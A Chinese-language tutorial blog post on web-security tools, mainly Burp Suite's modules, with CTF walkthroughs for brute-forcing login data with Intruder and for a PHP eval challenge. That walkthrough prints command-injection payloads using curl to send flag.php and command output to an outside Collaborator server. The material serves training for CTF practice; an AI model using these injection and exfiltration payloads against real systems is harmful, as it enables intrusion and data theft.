关于web基础工具的使用
0x01前言
出一期对基础工具的使用,不仅限于对蚁剑,burpsuite,sqlmap以及一些扫描目录和扫描漏洞工具的使用,看自己能写多少吧,只能说尽量去积累
0x02正题
burpsuite(2024版)
burpsuite是用于攻击web应用程序的集成平台,其中包含了很多工具,并且为这些工具设计了很多的接口,这样可以加快我们攻击应用程序的过程
我们先来看看基础的标签有哪些以及他们代表的模块
- 代理模块(proxy):是用于拦截和修改http或者https请求和响应的模块,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。有时候可以对服务器造成一定的攻击损害
这个模块里面有intercrpt,HTTP history,match and replace这几种
1.intercrpt选项
intercept是拦截的意思,在这里相当于拦截请求,可以实时的对请求进行拦截,然后请求参数的篡改,再把请求放通,从而达到实时修改请求的功能
我们打开intercrpt功能后可以拦截我们代理浏览器上的http请求(如果是HTTPS的话需要手动配置)通过forward(放包)或者drop(丢弃)来决定我们是否要发包,request的内容就是我们的请求包
2.HTTP history
在这里的话我们可以看到我们代理服务器之前接收到的http请求
这里还有过滤器,通过过滤器我们可以筛选到自己想要的内容
3.Websockets history(很少用)
该功能和HTTP history十分类似,实际中很少用到
4.Match and Replace(很少用)
功能用于拦截和修改HTTP请求和响应中的内容
- 目标模块(target):用于设置测试目标,并让Burp Suite扫描目标应用程序以发现漏洞。
这个模块包括sitemap,scope两个选项
1.sitemap(站点地图)
SiteMap会在目标中以树形和表形式显示,并且还可以查看完整的请求和响应。树视图包含内容的分层表示,随着细分为地址,目录,文件和参数化请 求的URL 。 基于左边的树形结构,我们可以选择某个分支,对指定的路径进行扫描和抓取。
左边一栏为你的流量信息,也就是包含着我们所请求的流量,顶上一栏是我们具体请求的内容,最大的一栏就不用多说了,是我们具体的一些request包和response包
2.scope
Target Scope中作用域的定义比较宽泛,通常来说,当我们对某个产品进行渗透测试时,可以通过域名或者主机名去限制拦截内容,这里域名或主机名就是我们说的作用域;如果我们想限制得更为细粒度化,比如,你只想拦截login目录下的所有请求,这时我们也可以在此设置,此时,作用域就是目录。总体来说,Target Scope主要使用于下面几种场景中:
- 限制站点地图和Proxy 历史中的显示结果
- 告诉Burp Proxy 拦截哪些请求
- Burp Spider抓取哪些内容
- Burp Scanner自动扫描哪些作用域的安全漏洞
- 在Burp Intruder和Burp Repeater 中指定URL
通过Target Scope 我们能方便地控制Burp 的拦截范围、操作对象,减少无效的噪音。在Target Scope的设置中,主要包含两部分功能:允许规则和去除规则。
- 响应模块(Repeater):用于显示请求和响应的详细信息,包括HTTP头和正文。
Burp Suite的响应模块用于显示请求和响应的详细信息,包括HTTP头和正文。用户可以使用此模块来查看已拦截的请求和响应,以了解应用程序如何响应不同类型的攻击。
在这个模块里,我们可以更方便的进行发包和看包,如果只是在proxy模块里面的话我们就只能修改包并不能完整的看到我们想要的response回显数据包的内容,所以我们一般拿bp进行测试的时候往往都会将包发送到repeater模块
我们在这里选择我们想要的请求,然后就可以发送到repeater模块了
- 爆破模块(Intruder):用于发送请求的多个副本,以测试目标服务器的响应是否相同。也就是我们经常说的爆破
Burp Suite的重复模块用于发送请求的多个副本,以测试目标服务器的响应是否相同。这是一种非常有用的测试技术,因为它可以帮助用户确定目标应用程序是否容易受到重复攻击的影响。
举个例子:
web入门的27题爆破题
打开靶机,发现是个登录页面,需要学号和密码登录,猜测登录后可获得flag,则可围绕获得学号密码来进行,因为两者都不知道,直接爆破不太合适,看看还能提取到什么信息。
编辑
当点击到登录按钮下方的录取名单时,自动下载了一个list.xlsx,打开这个文件,发现了几个人的姓名和身份证号部分信息。点击录取名单下面的学生学籍信息查询系统,发现可以根据学生姓名和身份证号进行录取查询,那么第一步要做的可能就是要爆破身份证号了,或许在这里可以查到有用的信息。
以下载的表格的第一个人为例,录取查询页面姓名栏输入高先伊,身份证输入6210225237
- 打开抓包工具,如Burpsuit,点击查询,抓到查询发送的请求包,将请求包发送至Intruder攻击模块,将请求包中的&p设置为变量
- 设置payload
format那栏一定要写yyyyMMdd对应身份证的年月日,然后就开始爆破
编辑
爆破后找到长度最长的response,可以看到有success,把下面那串编码复制拿去翻译一下
Unicode-str解码: 恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
然后我们就尝试登录一下,就可以拿到flag了
我们逐个讲解
在这里,我们需要设置我们的爆破点和爆破模式,爆破点的话就是在我们需要爆破的地方添加起止符号就行,我们重点讲一下爆破模式
burpsuite爆破的四种模式
四种模式分别为:Sniper、Battering ram、Pitchfork、 Cluster bomb(推荐使用)
1.Sniper(狙击手)
作为比较常用的模式,Sniper的作用是对其中选定的参数一个一个依次遍历字典并且替换然后测试。sniper只能默认对第一个参数进行修改,而无法对两个参数同时进行爆破。
2.Battering ram(攻城锤)
不同于sniper,Battering ram是两个参数同时进行遍历一个字典的
3.Pitchfork(草叉模式)
Pitchfork作为多字典,他的特点也非常明显,就是多个字典同时进行,与Battering ram有些相似之处,但是一个是多个人跑一个赛道,而一个是多个人,各有各的赛道。
4.Cluster bomb(集束炸弹)(推荐爆破时使用)
Cluster bomb兼备了前面三种模式的所有的功能,那就是全部遍历,不放过所有情况,但是在超大字典的情况下,运算能力就限制了Cluster bomb模式的发挥,所以只要算力足够,那爆破出密码就不是问题。
然后我们讲一下设置payload
这里的话有设置payload的类型和个数
然后就是导入我们的字典之类的,步骤很简单,如果没有字典的话可以去多收集一下,网上的还是很丰富的
关于那个payload processing的话,可以理解为在发送请求前对payload进行一定的设定,比如加密,编码什么的
讲几个比较常用的
Add Prefix:添加一个文字前缀
Add suffix:添加一个文字后缀
Match/replace:将替换匹配的正则表达式
Substring:截取字符串的长度0开始
Reverse substring:倒着匹配字符串
接着就是是否需要进行url的编码解码,也就是我们最底下的内容
然后我们讲一下设置爆破的线程数及请求间隔,如果有时候爆破的量很大的话可以去添加多个线程
默认的话都是10个线程,你们可以试一下
- Collaborator
这个的话就是bp内置的一个服务器了,如果我们有些题需要用到远程服务器去进行外带
我们讲一下web133里面的一个解法就是用到了
题目
1 | if($F = @$_GET['F']){ |
@
符号:
- 这是 PHP 的错误抑制运算符。使用
@
运算符可以抑制表达式中可能出现的任何错误或警告。
这道题限制了参数的字符串长度,还对参数进行了一些函数的过滤
这里可以注意到eval函数里面有一个substr函数,说明会截取这个$F参数的前六位作为php代码去执行,但是因为这里限制了很多函数,且还有长度限制,这时候我们有一个新思路,就是通过传递参数本身实现变量覆盖,但是我们这里是讲解基础工具的使用,所以我们讲这么进行外带
curl 外带
“curl” 命令是一个在命令行下使用的工具,用于传输数据
curl的相关命令
1 | -F参数用来向服务器传输二进制文件,-X参数用来指定http代理 |
我们需要通过curl让目标服务器向我们的服务器发送我们想要的东西,这里的服务器我们可以用burp的服务器Collaborator服务器
payload:
1 | ?F=`$F`;+curl -X POST -F xx=@flag.php 服务器地址 |
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
也可以进行命令执行
1 | ?F=`$F`; curl 服务器地址/`ls` |
命令的输出将被插入到 curl 命令的 URL 中
1 | ?F=`$F`; curl 服务器地址/`cat flag.php|grep ctfshow` |
因为 flag.php 内容是多行,所以结合 grep 找一下。整体来说,这个命令企图读取服务器上 flag.php
文件中包含 ctfshow
的行,然后将该行的内容作为 URL 的一部分发送到指定的外部服务器。
其他的几个模块因为用的少所以我就不细说了,后面用到了再回来补充
- Spider(蜘蛛)——应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
- Scanner(扫描器)——高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
- Sequencer(会话)——用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
- Decoder(解码器)——进行手动执行或对应用程序数据者智能解码编码的工具。
- Comparer(对比)——通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
- Extender(扩展)——可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
- Options(设置)——对Burp Suite的一些设置。
中国蚁剑
蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
dirsearch
dirsearch -u “url” -e*